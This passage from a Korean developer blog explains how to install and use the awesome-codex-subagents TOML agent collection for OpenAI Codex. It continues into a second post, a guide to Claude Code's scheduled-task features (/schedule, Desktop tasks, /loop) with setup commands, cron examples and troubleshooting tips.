코드 리뷰·보안 감사·테스트·디버깅 전담. PR 리뷰 시 code-reviewer(품질)와 security-auditor(보안)를 병렬로 실행하면 두 관점을 동시에 얻는다. sandbox_mode = "read-only" 설정 권장.

security-auditor code-reviewer debugger qa-expert penetration-tester performance-engineer

5 데이터 & AI Data & AI 12개

ML·LLM·RAG·데이터 파이프라인·DB 최적화 전문가 모음. llm-architect는 RAG 파이프라인 설계, database-optimizer는 쿼리 튜닝에 특화되어 있다. AI 서비스 구축 시 가장 자주 호출되는 카테고리다.

llm-architect data-scientist ml-engineer postgres-pro database-optimizer nlp-engineer

6 개발자 경험 Developer Experience 13개

문서화·레거시 개선·툴링·리팩토링 전문가. 코드를 새로 짜는 것이 아니라 기존 코드의 품질을 높이고 유지보수를 쉽게 만드는 역할에 집중한다.

documentation-engineer refactoring-specialist legacy-modernizer dx-optimizer git-workflow-manager

7 특수 도메인 Specialized Domains 12개

블록체인·게임·임베디드·모바일 등 범용 개발 카테고리로 커버하기 어려운 특수 도메인 전문가. 해당 영역 프로젝트가 있을 때만 선택적으로 설치하면 된다.

blockchain-developer game-developer mobile-developer electron-pro

8 비즈니스 & 프로덕트 Business & Product 11개

PM·비즈니스 분석·기술 문서·UX 리서치 역할. 개발자 혼자 PM 업무까지 겸하는 스타트업이나 1인 팀에서 활용도가 높다. 요구사항 정리나 사용자 스토리 작성에 유용하다.

product-manager business-analyst technical-writer ux-researcher

9 메타 & 오케스트레이션 Meta & Orchestration 10개 — 고급

"에이전트를 조율하는 에이전트". 복잡한 작업을 서브태스크로 분해하고 다른 에이전트에 위임하는 오케스트레이터 역할이다. 서브에이전트 기능에 익숙해진 후 도전하면 된다.

orchestrator task-decomposer architect-reviewer code-mapper

10 리서치 & 분석 Research & Analysis 7개

공식 문서 수집·경쟁사 분석·트렌드 조사 전문가. 읽기 전용 작업에 특화되어 있어 gpt-5.3-codex-spark + sandbox_mode = "read-only" 조합으로 저비용 운영이 가능하다. 블로그 팩트체크에 특히 유용하다.

docs-researcher competitive-analyst research-analyst trend-analyst market-researcher

설치 및 사용법 (5단계)

# 1. 저장소 클론
git clone https://github.com/VoltAgent/awesome-codex-subagents.git
cd awesome-codex-subagents

# 2. 전역 에이전트 디렉토리 생성
mkdir -p ~/.codex/agents

# 3a. 원하는 에이전트만 선택 복사 (권장)
cp categories/01-core-development/backend-developer.toml ~/.codex/agents/
cp categories/04-quality-security/security-auditor.toml ~/.codex/agents/

# 3b. 또는 전체 복사 (136개 전부)
cp categories/**/*.toml ~/.codex/agents/

# 4. 프로젝트별로 쓰고 싶다면 (전역보다 우선 적용됨)
mkdir -p .codex/agents
cp categories/01-core-development/backend-developer.toml .codex/agents/

# 5. Codex 세션 재시작 후 호출
# "backend-developer에게 POST /api/users 엔드포인트를 만들어달라고 해"

중요: 명시적 호출이 필수다. Codex는 자동으로 서브에이전트를 생성하지 않는다. 프롬프트에서 직접 "backend-developer에게 위임해" 또는 "security-auditor를 사용해서 검토해줘"처럼 명시해야 한다.

4. 모델 라우팅 & 샌드박스 전략

2가지 모델 선택 기준

awesome-codex-subagents 컬렉션은 에이전트 역할에 따라 모델을 다르게 지정한다. GitHub README 기준 현재 컬렉션이 주로 사용하는 모델은 아래 두 가지다. 다만 공식 문서는 빠르고 저비용인 읽기 위주 작업에 pt-5.4-mini도 함께 권장하므로, 아래 표는 컬렉션 요약이지 공식 모델 매트릭스 전체는 아니다. (출처: awesome-codex-subagents README, Codex 공식 문서)

모델	적합한 에이전트	특성
`gpt-5.4`	security-auditor, architect, reviewer, backend-developer	강력한 추론이 필요한 복잡한 분석 및 구현
`gpt-5.3-codex-spark`	explorer, docs-researcher, 문서 스캔, 단순 코드 탐색	텍스트 전용, 낮은 지연, 빠른 병렬 실행. ChatGPT Pro 전용 옵션

샌드박스 모드 활용법

서브에이전트는 부모 세션의 샌드박스 정책을 상속하지만, TOML에서 개별 에이전트별로 오버라이드할 수 있다.

sandbox_mode = "read-only" — 리뷰어, 감사자, 탐색기에 사용. 코드베이스를 수정하지 않아야 할 때
sandbox_mode = "workspace-write" — 개발자, 엔지니어에 사용. 파일 생성/수정이 필요할 때

비활성 스레드 승인 처리: 대화형 CLI에서 비활성 에이전트 스레드의 승인 요청도 표시된다. o 키로 해당 스레드를 열어 검토 후 처리하면 된다. 병렬 실행 중에도 각 에이전트의 승인 요청을 개별 처리할 수 있다.

5. 워크플로우 사용 예시

예제 1: PR 리뷰 자동화 (3인조 분업)

PR 리뷰를 단일 에이전트에 맡기면 "보안 체크도 하고, 코드 품질도 보고, API 문서도 검증해"라는 뭉뚱그린 요청이 된다. 역할을 분리하면 각 에이전트가 전문 관점으로 집중한다. (출처: Codex 공식 문서 PR review 패턴)

# 프롬프트 예시
"PR #142를 리뷰해줘.
  - pr_explorer로 변경 사항을 읽기 전용으로 탐색해
  - reviewer로 정확성과 보안을 검토해
  - docs_researcher로 프레임워크 API 사용이 문서와 맞는지 확인해
  세 결과를 종합해서 리뷰 코멘트를 작성해줘."

에이전트	역할	sandbox_mode	추천 모델
`pr_explorer`	변경 증거 수집	read-only	gpt-5.3-codex-spark
`reviewer`	보안/정확성 검토	read-only	gpt-5.4
`docs_researcher`	API 문서 검증	read-only	gpt-5.3-codex-spark

예제 2: 버그 조사 파이프라인

공식 문서가 직접 제시하는 브라우저 디버깅 시나리오다. (출처: Codex Subagents 공식 문서)

# 공식 문서 예시 프롬프트
"설정 모달이 저장을 못 하는 이유를 조사해줘.
  - browser_debugger가 버그를 재현하고 스크린샷을 찍어
  - code_mapper가 해당 코드 경로를 추적해
  두 결과를 바탕으로 ui_fixer가 최소한의 수정으로 고쳐줘."

예제 3: spawn_agents_on_csv 배치 처리 (실험적 기능)

CSV의 각 행마다 워커 에이전트를 생성하는 실험적 기능이다.

대규모 코드베이스에서 파일별 처리나 이슈별 분석에 유용하다. (출처: Codex 공식 문서)

# tasks.csv 예시
id,file_path,task
1,src/auth/login.ts,보안 취약점 스캔
2,src/api/users.ts,입력 검증 누락 확인
3,src/db/schema.ts,SQL 인젝션 패턴 검토

# spawn_agents_on_csv 사용 (프롬프트에서 지시)
"tasks.csv의 각 행마다 security-auditor를 생성해서
 file_path를 task에 따라 분석하고 결과를 report.csv에 저장해줘."

토큰 주의: Deepakness의 실사용 경험에 따르면 서브에이전트로 동일 작업을 처리하면 단일 에이전트 대비 토큰 소비가 크게 증가한다. 속도는 빠르지만 비용이 올라간다. CSV 배치는 특히 토큰 사용량 모니터링이 필요하다.

6. VoltAgent 에이전트 생태계

VoltAgent는 awesome-codex-subagents만 운영하는 것이 아니다. 플랫폼별로 분리된 세 가지 저장소를 유지한다.

저장소	Stars	대상 플랫폼	포맷	규모
awesome-agent-skills	12.9k	Claude Code, Codex, Gemini CLI, Cursor, Windsurf 등 8개	SKILL.md	1,030+
awesome-codex-subagents	2,778+	OpenAI Codex 전용	.toml	136+
awesome-claude-code-subagents	미확인	Claude Code 전용	.md	100+

Stars 수치: awesome-codex-subagents는 GitHub API 직접 확인(2026-03-26 기준), awesome-agent-skills는 WebFetch 확인, awesome-claude-code-subagents Stars는 직접 검증하지 못함.

awesome-agent-skills의 특이점은 "AI 팀에서 실제로 쓰는 스킬만 큐레이션, 대량 생성 아님"을 표방한다는 것이다. Anthropic, Google Labs, Vercel, Stripe, Cloudflare 등 공식 팀의 스킬이 포함되어 있다.

7. Claude Code 서브에이전트와의 비교

두 플랫폼의 서브에이전트 구현 방식은 목표는 같지만 접근이 다르다.

(출처: Rick Hightower Medium, 2026-03-21, Codex 공식 문서)

항목	Codex 서브에이전트	Claude Code 서브에이전트
설정 포맷	TOML (`.toml`)	Markdown (`.md`)
설정 위치	`~/.codex/agents/` or `.codex/agents/`	`~/.claude/agents/` or `.claude/agents/`
빌트인 에이전트	default, worker, explorer	미지정 시 일반 에이전트로 처리
격리 방식	클라우드 기반 인프라 처리	Git worktree 격리 지원
배치 처리	spawn_agents_on_csv (실험적)	해당 없음 (별도 구현 필요)
최대 동시 스레드	6 (config.toml 조정 가능)	미확인
컬렉션 생태계	awesome-codex-subagents (2,778+ Stars)	awesome-claude-code-subagents (100+)
버전관리/공유	git 커밋 가능 (.toml 파일)	git 커밋 가능 (.md 파일)

한 줄 요약: Codex는 클라우드 기반 병렬 실행과 CSV 배치 처리가 강하고, Claude Code는 Git worktree 기반 코드 격리가 강하다. 목적에 따라 선택하면 된다.

8. 주의사항 & 트러블슈팅 Q&A

보안 주의: VoltAgent 공식 README는 "에이전트는 있는 그대로(as is) 제공되며, 관리자는 보안이나 정확성을 감사하지 않는다"고 명시한다. 외부 에이전트를 프로덕션에 적용하기 전에 반드시 instructions 내용을 직접 검토하라. (출처: awesome-codex-subagents README 보안 섹션)

Q&A

Q1. 에이전트를 설치했는데 Codex가 인식을 못 한다

Codex 세션을 재시작해야 한다. TOML 파일명이 아니라 name 필드 값으로 호출하고 있는지도 확인하라. 프로젝트별 경로(.codex/agents/)가 전역(~/.codex/agents/)보다 우선한다.

Q2. 서브에이전트가 예상보다 토큰을 너무 많이 쓴다

병렬 에이전트는 동일 작업 대비 단일 에이전트보다 토큰이 더 든다(속도 ↑, 비용 ↑). gpt-5.4를 gpt-5.3-codex-spark로 교체하거나, model_reasoning_effort = "low"로 낮추면 된다. 단순 작업에는 고성능 모델을 쓰지 않아도 된다.

Q3. 에이전트가 자꾸 범위를 벗어난 작업을 한다

공식 문서 베스트 프랙티스에 따르면 "좋은 에이전트는 좁고 단호하게(narrow and opinionated)" 작성해야 한다. instructions에 "이 에이전트가 하지 말아야 할 것" 섹션을 명시적으로 추가하라. sandbox_mode = "read-only"로 쓰기 권한을 제한하는 것도 방법이다.

Q4. IDE에서는 서브에이전트를 쓸 수 없나?

현재 공식 문서 기준 서브에이전트 워크플로우는 기본 활성화되어 있다. 다만 서브에이전트 활동 표시는 Codex 앱과 CLI 중심이며, IDE Extension 가시성은 아직 따라오는 중이다.

9. 결론: 언제 쓰고 언제 쓰지 않는가

써야 할 때

병렬로 처리할 독립적인 작업이 2개 이상일 때 (탐색 + 분석 + 수정)
역할별로 다른 권한이 필요할 때 (읽기 전용 감사자 vs 쓰기 개발자)
CSV 기반의 대규모 반복 작업이 있을 때
컨텍스트 오염 없이 전문화된 분석이 필요할 때

쓰지 않아야 할 때

단순하고 빠른 1회성 작업 (서브에이전트 설정 비용이 더 클 때)
토큰 예산이 빠듯할 때 (병렬 실행은 토큰 증가를 수반)
작업 간 강한 순서 의존성이 있을 때 (A가 끝나야 B를 시작할 수 있을 때)
IDE에서 서브에이전트 활동 표시까지 완전하게 기대하는 작업일 때 (현재 가시성은 앱/CLI 중심)

awesome-codex-subagents의 진짜 가치는 136개 에이전트 그 자체보다 "TOML로 에이전트를 정의하는 실전 패턴의 레퍼런스"에 있다. 컬렉션을 그대로 쓰기보다, 자신의 도메인에 맞게 수정하고 팀 저장소에서 버전 관리하는 것이 장기적으로 더 가치 있다.

10. 개인적인 사용 고민 방법 공유

나의 경우 요즘 가벼운 바이브 코딩 개발, 풀스택 개발자라고 가정하고 어떤것을 쓰면 좋을지 고민해보았다.

136개 에이전트를 전부 설치하는 것은 오히려 역효과다.

역할별로 즉시 체감할 수 있는 에이전트를 먼저 골라 실제 루틴에 끼워넣는 것이 현실적일 것이다.

역할별 추천 에이전트 매핑

작업 영역	추천 에이전트 (실제 파일명)	모델	실제 활용 시나리오
Next.js 프론트엔드	`nextjs-developer`	gpt-5.4	App Router 마이그레이션, SSR/ISR 전략, 서버 컴포넌트 리팩토링
Java / Spring Boot	`spring-boot-engineer`	gpt-5.4	Spring Boot 3.x 서비스 설계, JPA N+1 진단, 멀티모듈 구조 검토
Python / RAG	`python-pro`, `llm-architect`	gpt-5.4	RAG 파이프라인 설계, 청킹·임베딩 전략, LangChain/LlamaIndex 통합
데이터베이스	`database-optimizer`, `postgres-pro`	gpt-5.4	인덱스 전략 분석, 슬로우 쿼리 진단, 스키마 마이그레이션 검토
인프라 / IaC	`devops-engineer`, `terraform-engineer`	gpt-5.4	CI/CD 파이프라인 설계, Terraform 모듈 리뷰, 컨테이너 최적화
소스 리뷰 / 보안	`code-reviewer`, `security-auditor`	gpt-5.4	PR 병렬 리뷰(품질+보안 동시), 안티패턴 탐지, 프롬프트 인젝션 스캔

스타터 킷 6 + 확장팩 2

즉시 체감이 큰 7개를 먼저 설치하고, DB·인프라 작업 비중이 높다면 +2 확장팩을 추가한다. 경로는 GitHub API로 직접 검증한 실제 디렉토리 구조다.

cd awesome-codex-subagents

# ── 스타터 킷 6 (즉시 설치) ──────────────────────────────
cp categories/02-language-specialists/nextjs-developer.toml ~/.codex/agents/
cp categories/02-language-specialists/spring-boot-engineer.toml ~/.codex/agents/
cp categories/02-language-specialists/python-pro.toml ~/.codex/agents/
cp categories/05-data-ai/llm-architect.toml ~/.codex/agents/
cp categories/04-quality-security/code-reviewer.toml ~/.codex/agents/
cp categories/04-quality-security/security-auditor.toml ~/.codex/agents/

# ── 확장팩 +2 (DB·인프라 비중이 높다면 추가) ──────────────
cp categories/05-data-ai/database-optimizer.toml ~/.codex/agents/
cp categories/03-infrastructure/terraform-engineer.toml ~/.codex/agents/

워크플로우 예시 : RAG 파이프라인 설계 + 보안 검토

RAG 시스템을 설계할 때 아키텍처와 보안을 동시에 검토하는 패턴이다.

임베딩 전략·청킹·벡터 DB 선택은 llm-architect가 담당하고, 프롬프트 인젝션·API 키 노출은 security-auditor가 독립 컨텍스트에서 스캔한다.

두 에이전트 모두 스타터 킷 7에 포함되어 있으므로 별도 설치 없이 바로 실행된다.

# RAG 아키텍처 + 보안 병렬 검토
"현재 rag_service.py를 기반으로 프로덕션 RAG 시스템을 개선하고 싶다.
  - llm-architect가 청킹 전략, 임베딩 모델 선택, 리랭킹 파이프라인을 검토해줘
  - security-auditor가 프롬프트 인젝션, API 키 노출, 입력 검증 취약점을 스캔해줘
  두 검토를 종합해서 개선 우선순위 목록을 만들어줘."

운영 팁: 코드 작업용 에이전트는 gpt-5.4 + model_reasoning_effort = "high"로 유지하는 것이 실용적인 균형이다. 두 그룹을 ~/.codex/agents/에 한 번 설치하면 모든 프로젝트에서 재사용된다.

참고 자료

Claude Code 신기능 'claude code Scheduled Tasks' 리뷰 : 알아서 일하는 동료 AI: Claude Code /schedule로 업무 자동화 하기(Cowork 예약 vs Claude Code)

갓대희 — Fri, 27 Mar 2026 21:00:50 +0900

안녕하세요! 갓대희 입니다.

노트북을 닫으면 끝나는 AI는 요즘시에대서는 반쪽짜리 취급을 받을 수 있을 것 같다. 요즘은 스케쥴링이 필수인것 처럼 느껴지기도 한다. OpenClaw가 인기를 끌기시작했을 무렵부터 빠르게 트렌드가 변화하는 것 같다.

이때문인지 Claude Cowork의 스케쥴 태스크가 나온지 얼마 안되 이제 Claude Code또한 혼자서 정해진 시간에 일어나서 일할 수 있게 되었다.

/schedule 명령어 하나면 클라우드 크론잡이 만들어지고, 노트북을 닫아도 돌아간다. Anthropic 내부에서도 CI 실패 자동 해결, 문서 업데이트 자동화에 쓰고 있다고 한다. 이 글에서는 공식 문서를 기반으로 정리해 보려고 한다.

Scheduled Tasks 소개
- 왜 필요한가
- 3가지 스케줄링 방식 비교
Cloud Scheduled Tasks (/schedule)
- 생성 방법 (CLI / 웹 / Desktop)
- 스케줄 옵션
- 리포지토리와 브랜치 규칙
- 커넥터와 환경
Desktop Scheduled Tasks
- 로컬 vs 리모트
- 권한과 실행 조건
CLI /loop (세션 내 반복)
- 문법과 예시
- cron 도구 (CronCreate/CronList/CronDelete)
실전 활용 사례
제한사항 및 주의사항
트러블슈팅 Q&A
Cowork(웹) vs Claude Code(CLI) 차이점 정리
- 두 가이드 비교표
- 언제 어떤 걸 써야 하나
- 비개발자도 쓸 수 있는 활용 사례 (A~D)
결론

Claude Code Scheduled Tasks 가이드
Claude Code는 3가지 스케줄링 방식을 제공한다: Cloud(노트북 꺼도 실행), Desktop(앱이 열려 있을 때), /loop(세션 내). /schedule 명령어로 클라우드 크론잡을 만들면 노트북을 닫아도 Claude가 혼자 일한다.
Pro, Max, Team, Enterprise 모두 사용 가능. (출처: 공식 문서)

1. Scheduled Tasks 소개

왜 필요한가

지금까지 Claude Code는 "사용자가 프롬프트를 입력해야 동작하는" 도구였다. 내가 터미널 앞에 앉아 있을 때만 일한다. 하지만 개발 업무 중에는 사람이 안 봐도 반복적으로 실행되어야 하는 작업이 있다.

CI가 깨질 때마다 자동으로 원인 분석 + 수정 PR
매일 아침 문서 최신화 체크
매주 의존성 업데이트 + 테스트
다른 언어 라이브러리의 동기화 (Python ↔ Go 트윈)

Anthropic 엔지니어가 밝힌 내부 사용 사례가 인상적이다: "우리가 가장 좋아하는 내부 사용 사례 — Python 라이브러리를 개발하면서, 스케줄 잡으로 Claude가 Go 트윈 라이브러리를 통째로 유지보수하고 있다."

3가지 스케줄링 방식 비교

Claude Code는 세 가지 스케줄링 방식을 제공한다. 각각 실행 환경과 지속성이 다르다. (출처: 공식 문서)

항목	Cloud (/schedule)	Desktop	/loop (CLI)
실행 환경	Anthropic 클라우드	내 머신	내 머신
머신 꺼도 실행?	예	아니오 (앱 열려야 함)	아니오 (세션 열려야 함)
재시작 후 유지?	예	예	아니오 (세션 종료 시 삭제)
로컬 파일 접근	아니오 (매번 fresh clone)	예	예
최소 간격	1시간	1분	1분
권한 프롬프트	없음 (자율 실행)	태스크별 설정 가능	세션 설정 상속
태스크 만료	없음 (영구)	없음 (영구)	반복 태스크 3일 후 자동 만료

한 줄 요약: "노트북 닫아도 돌아가야 한다" → Cloud. "로컬 파일을 만져야 한다" → Desktop. "지금 이 세션에서 반복하고 싶다" → /loop.

2. Cloud Scheduled Tasks (/schedule)

가장 강력한 옵션이다. Anthropic 클라우드에서 실행되므로 내 머신 상태와 무관하다.

가장 간단한 예시 — 이런 느낌이다

# CLI에서 한 줄로 — 노트북 꺼도 매일 실행
/schedule daily at 9am: 리포지토리에 새로운 TODO 주석이 추가됐는지 확인하고 결과를 보고해라.

이 한 줄이면 Anthropic 서버에 크론잡이 등록된다. 내 컴퓨터가 꺼져 있어도 매일 오전 9시에 실행된다.

생성 방법

세 가지 진입점이 있다.

# 방법 1: CLI에서 대화형으로 생성
/schedule

# 방법 2: 설명과 함께 한 줄로 생성
/schedule daily PR review at 9am

# 방법 3: 기존 태스크 관리
/schedule list       # 모든 태스크 목록
/schedule update     # 태스크 수정 / 삭제
/schedule run        # 즉시 실행

웹에서는 claude.ai/code/scheduled에 접속하여 "New scheduled task"를 클릭한다.

Desktop 앱에서는 사이드바의 Schedule 페이지에서 생성할 수 있다.

스케줄 옵션

빈도	설명
Hourly	매시간 실행
Daily	하루 1회, 지정 시간 (기본 오전 9시 로컬)
Weekdays	Daily와 동일하되 토/일 제외
Weekly	주 1회, 지정 요일과 시간

"매 2시간" 같은 커스텀 간격이 필요하면 가장 가까운 프리셋을 선택한 뒤 /schedule update로 조정한다.

Cloud 태스크도 실행 시점에 약간의 지연(deterministic stagger)이 있어 정확히 정시에 시작되지 않을 수 있다.

빈도별 한 줄 예시

/schedule hourly: GitHub Actions 실패 여부를 확인하고 실패 시 보고해라.
/schedule daily at 9am: 열린 PR을 검토하고 요약 코멘트를 달아라.
/schedule weekdays at 8:30am: 의존성에 새 보안 취약점이 있는지 스캔해라.
/schedule weekly on Monday at 10am: 주간 코드 품질 리포트를 생성해라.

리포지토리와 브랜치 규칙

매 실행마다 리포지토리를 fresh clone한다 (기본 브랜치 기준)
Claude가 push할 수 있는 브랜치는 기본적으로 claude/ 접두사가 붙은 것만 허용
리포별 "Allow unrestricted branch pushes"를 켜면 이 제한을 해제할 수 있다

브랜치 제한은 안전장치다

Cloud 태스크는 권한 프롬프트 없이 자율 실행되므로, claude/ 접두사 제한이 main에 직접 push하는 사고를 방지한다. 무제한 push를 켤 때는 신중해야 한다.

커넥터와 환경

Cloud 태스크는 MCP 커넥터(Slack, Linear, Google Drive 등)를 사용할 수 있다.

claude.ai의 Settings > Connectors에서 연결된 모든 커넥터가 기본 포함된다.

각 태스크는 네트워크 접근, 환경변수, 셋업 스크립트를 제어하는 "환경(Environment)"에서 실행된다.

Cloud 태스크 중단하기

# 등록된 태스크 목록 확인
/schedule list

# 태스크 수정 · 삭제 (대화형으로 선택)
/schedule update

웹에서 중단하려면 claude.ai/code/scheduled에 접속해 태스크를 선택하고 Delete를 누른다. Desktop 앱에서는 사이드바 Schedule 페이지에서 해당 태스크를 클릭한 뒤 삭제한다.

3. Desktop Scheduled Tasks

로컬 vs 리모트

Desktop 앱에서는 두 종류의 태스크를 만들 수 있다.

항목	로컬 태스크	리모트 태스크
실행 위치	내 머신	Anthropic 클라우드
파일 접근	로컬 파일/도구 직접 접근	fresh clone만
앱 필요?	예 (열려 있어야)	아니오

권한과 실행 조건

각 태스크마다 독립적인 권한 모드 설정 가능
~/.claude/settings.json의 allow 규칙이 적용됨
Ask 모드에서 승인 안 된 도구를 쓰면 실행이 멈춤 → 사용자가 승인해야 진행
태스크 프롬프트는 ~/.claude/scheduled-tasks/<task-name>/SKILL.md에 저장됨

팁: 첫 실행 시 "Run now" 클릭

태스크를 만든 직후 "Run now"로 한 번 실행하고, 필요한 도구에 "always allow"를 설정하면 이후 자동 실행 시 멈추지 않는다.

앱이 닫혀 있거나 컴퓨터가 잠들면 실행이 밀린다.

다시 열면 최근 7일 내 놓친 실행 중 가장 마지막 1회만 자동으로 실행한다 (여러 번 놓쳐도 1회만).

Desktop 태스크 생성 시 주요 필드는 다음과 같다.

필드	설명
Name	소문자 kebab-case로 변환. 디스크 폴더명으로 사용
Description	태스크 목록에 표시되는 요약
Prompt	Claude에게 보내는 지시. 모델, 권한 모드, 워킹 폴더, 워크트리 설정 포함
Frequency	Manual / Hourly / Daily / Weekdays / Weekly. 커스텀은 자연어로 요청

각 태스크 실행에는 최대 10분의 고정 지연이 추가된다 (태스크 ID 기반, 매번 동일). 정각에 정확히 실행되지 않는다는 점을 감안해야 한다.

Desktop은 uncommitted 변경사항도 본다

로컬 태스크는 현재 워킹 디렉토리 상태를 그대로 사용한다. 커밋하지 않은 변경사항도 포함된다. 작업 중인 코드에 태스크가 영향을 주지 않도록 하려면, 태스크 생성 시 워크트리 격리를 켜는 것을 권장한다.

Desktop 태스크 프롬프트 — 이런 느낌이다

# 매일 오전 9시 — 로컬 파일을 직접 읽고 쓴다
~/projects/my-app 폴더에서 어제 추가된 TODO 주석을 찾아
~/Documents/todo-report.md 파일에 날짜별로 정리해 추가해라.

Cloud 태스크는 매번 git clone만 하지만, Desktop 태스크는 이처럼 ~/projects/ 같은 로컬 경로를 직접 읽고 쓸 수 있다.

Desktop 태스크 중단하기

Desktop 앱 사이드바 Schedule 페이지에서 해당 태스크를 클릭하고 삭제하면 된다. 실행 중인 태스크를 즉시 멈추려면 해당 실행 세션을 열고 Esc를 누른다.

# 태스크 프롬프트 파일을 삭제해도 이후 실행이 중단된다
rm ~/.claude/scheduled-tasks/<task-name>/SKILL.md

4. CLI /loop (세션 내 반복)

문법과 예시

/loop은 현재 세션 안에서 프롬프트를 반복 실행하는 번들 스킬이다. 가장 가볍지만 세션을 닫으면 사라진다.

# 5분마다 배포 상태 확인
/loop 5m check if the deployment finished and tell me what happened

# 30분마다 빌드 체크
/loop 30m check the build

# 자연어로 간격 지정
/loop check the build every 2 hours

# 간격 생략 시 기본 10분
/loop check the build

# 다른 스킬/명령어를 반복
/loop 20m /review-pr 1234

# 일회성 리마인더 (자연어)
remind me at 3pm to push the release branch
in 45 minutes, check whether the integration tests passed

지원 단위	표기	예시
초	`s`	`30s` (1분으로 올림)
분	`m`	`5m`, `30m`
시간	`h`	`2h`
일	`d`	`1d`

cron 도구 (CronCreate / CronList / CronDelete)

/loop의 내부에서는 3가지 cron 도구가 동작한다. 표준 5필드 cron 표현식을 사용한다.

# cron 표현식 예시
*/5 * * * *     # 매 5분
0 * * * *       # 매시 정각
0 9 * * *       # 매일 오전 9시
0 9 * * 1-5     # 평일 오전 9시
30 14 15 3 *    # 3월 15일 오후 2:30

/loop의 핵심 제약

세션당 최대 50개 태스크
반복 태스크는 3일 후 자동 만료 (마지막 1회 실행 후 삭제)
Claude가 응답 중이면 대기 (중간에 끼어들지 않음)
놓친 실행은 캐치업 없음 (1회만 실행)
확장 구문 (L, W, ?, MON, JAN) 미지원
cron에서 day-of-month와 day-of-week를 동시 지정하면 OR 시맨틱스로 동작 (둘 중 하나만 매칭돼도 실행). 의도치 않은 실행 주의
반복 태스크에 jitter: 간격의 최대 10% (상한 15분)만큼 늦게 실행될 수 있음. 정각(:00)·30분(:30)에 예약된 일회성 태스크는 최대 90초 일찍 실행 가능. (태스크 ID 기반, 결정적)

/loop 중단하기

# 방법 1: 실행 중 즉시 중단
# Claude 응답 대기 중 Esc 키 (또는 터미널 Ctrl+C)

# 방법 2: 특정 루프 삭제 — Claude에게 자연어로 요청
"/loop으로 만든 5분 체크 태스크 삭제해줘"
# → Claude가 내부적으로 CronDelete 도구를 실행

# 방법 3: 세션의 모든 /loop 비활성화
export CLAUDE_CODE_DISABLE_CRON=1

# 방법 4: 세션 종료 — /loop 태스크는 세션과 함께 자동 소멸
exit

가장 빠른 방법: Claude에게 "지금 돌고 있는 /loop 멈춰줘"라고 말하면 CronDelete로 해당 태스크를 즉시 삭제한다.

5. 활용 사례

이미 공유된 활용 사례를 정리해 보았다.

사례 1: CI 실패 자동 해결 (Anthropic 내부)

Anthropic이 공식 발표에서 언급한 내부 사용 사례이다. CI가 실패하면 Claude가 자동으로 원인을 분석하고 수정 PR을 만든다.

# Cloud 태스크 예시: CI 실패 시 자동 수정
/schedule check CI status hourly. If any tests are failing,
analyze the failure, create a fix, run the tests locally,
and open a PR to the claude/ci-fix branch.

사례 2: Go 트윈 라이브러리 자동 유지보수 (@noahzweben)

Anthropic 엔지니어 @noahzweben이 X에서 공유한 사례이다. 활발하게 개발 중인 Python 라이브러리와 동기화되는 Go 라이브러리를 Claude 스케줄 잡이 자동으로 유지보수한다.

왜 이것이 강력한가

보통 다른 언어 포팅은 인력이 많이 드는 작업이다. Python SDK가 업데이트될 때마다 Go SDK도 수동으로 반영해야 한다.
Claude 스케줄 잡이 이를 자동화하면 인력 부담 없이 두 언어 라이브러리를 동시에 유지할 수 있다.

사례 3: 일일 문서 최신화 체크

# 매일 오전 9시, 문서와 코드의 불일치를 찾아서 PR
/schedule daily at 9am: Compare README.md and API docs against
the current codebase. If anything is outdated, update it and
open a PR.

사례 4: /loop으로 배포 모니터링

# 현재 세션에서 5분마다 배포 상태 체크
/loop 5m check if the deployment to staging finished.
If it succeeded, tell me. If it failed, show the error logs.

6. 제한사항 및 주의사항

방식	제한사항	대응
Cloud	최소 간격 1시간. 로컬 파일 접근 불가. `claude/` 브랜치 제한.	로컬 작업이 필요하면 Desktop 태스크 사용. 브랜치 제한은 리포별 해제 가능.
Desktop	앱이 열려 있어야 실행. 덮개 닫으면 잠듦. 놓친 실행은 최근 1회만 캐치업.	"Keep computer awake" 설정 활용. 중요한 작업은 Cloud 태스크로 이관.
/loop	세션 종료 시 삭제. 반복 태스크 3일 만료. 세션당 50개 상한.	지속적인 작업은 Cloud나 Desktop으로. /loop은 임시 모니터링용.
공통	Claude 사용량(토큰)이 각 실행마다 소비됨. 너무 빈번한 스케줄은 비용 증가.	간격과 프롬프트 복잡도를 적절히 조절.

7. 트러블슈팅 Q&A

공식 문서와 커뮤니티 질문을 바탕으로 정리한다.

Q1. /schedule 명령어가 안 먹힌다

원인: Claude Code 버전이 v2.1.72 미만이거나, 웹/API 접근이 필요한 기능인데 오프라인 상태일 수 있다.

claude --version  # v2.1.72 이상인지 확인
claude update     # 최신 버전으로 업데이트

Q2. Cloud 태스크가 main에 직접 push해서 문제가 생겼다

원인: "Allow unrestricted branch pushes"를 켰을 때 발생할 수 있다.

해결: 리포별 설정에서 무제한 push를 끄고, claude/ 접두사 브랜치로만 push하도록 되돌린다. Claude에게 "항상 claude/ 접두사 브랜치에 push하라"고 프롬프트에 명시하는 것도 좋다.

Q3. /loop으로 만든 태스크가 사라졌다

원인: /loop 태스크는 세션에 묶여 있으므로, 세션을 종료하면 전부 삭제된다. 또한 반복 태스크는 3일 후 자동 만료된다.

해결: 지속적인 스케줄이 필요하면 /schedule(Cloud) 또는 Desktop 태스크를 사용한다.

Q4. Desktop 태스크가 실행 중 멈춰 있다

원인: Ask 모드에서 승인되지 않은 도구를 호출하면 사용자 승인을 기다리며 멈춘다.

해결: 해당 태스크의 실행 세션을 열어 승인하거나, "always allow"로 설정한다. 또는 태스크 권한 모드를 acceptEdits나 auto로 변경한다.

Q5. 스케줄링을 완전히 비활성화하고 싶다

export CLAUDE_CODE_DISABLE_CRON=1

이 환경변수를 설정하면 /loop 스킬과 cron 도구가 비활성화되고, 이미 예약된 태스크도 실행이 중단된다.

8. Cowork(웹) vs Claude Code(CLI) 차이점 정리

Claude의 스케줄링 기능은 크게 두 갈래로 나뉜다. Cowork 스케줄(웹/데스크톱 UI)과 이 가이드에서 다루는 Claude Code 스케줄(CLI)이다. 같은 "자동 실행" 기능이지만 대상 사용자와 인터페이스, 활용 방식이 다르다.

항목	Cowork 스케줄 (claude.ai 웹 · 앱 UI)	Claude Code 스케줄 (CLI · /schedule · /loop)
대상 독자	일반 사용자, 비개발자, 콘텐츠 크리에이터, 기획자	개발자, 엔지니어, DevOps 담당자
인터페이스	claude.ai 웹 대시보드 "예정됨" 메뉴, 클릭 기반 설정	터미널 CLI, `/schedule` · `/loop` 명령어
스케줄 방식	UI에서 날짜·시간·반복 주기 선택	자연어 또는 cron 표현식, `/schedule` · `/loop`
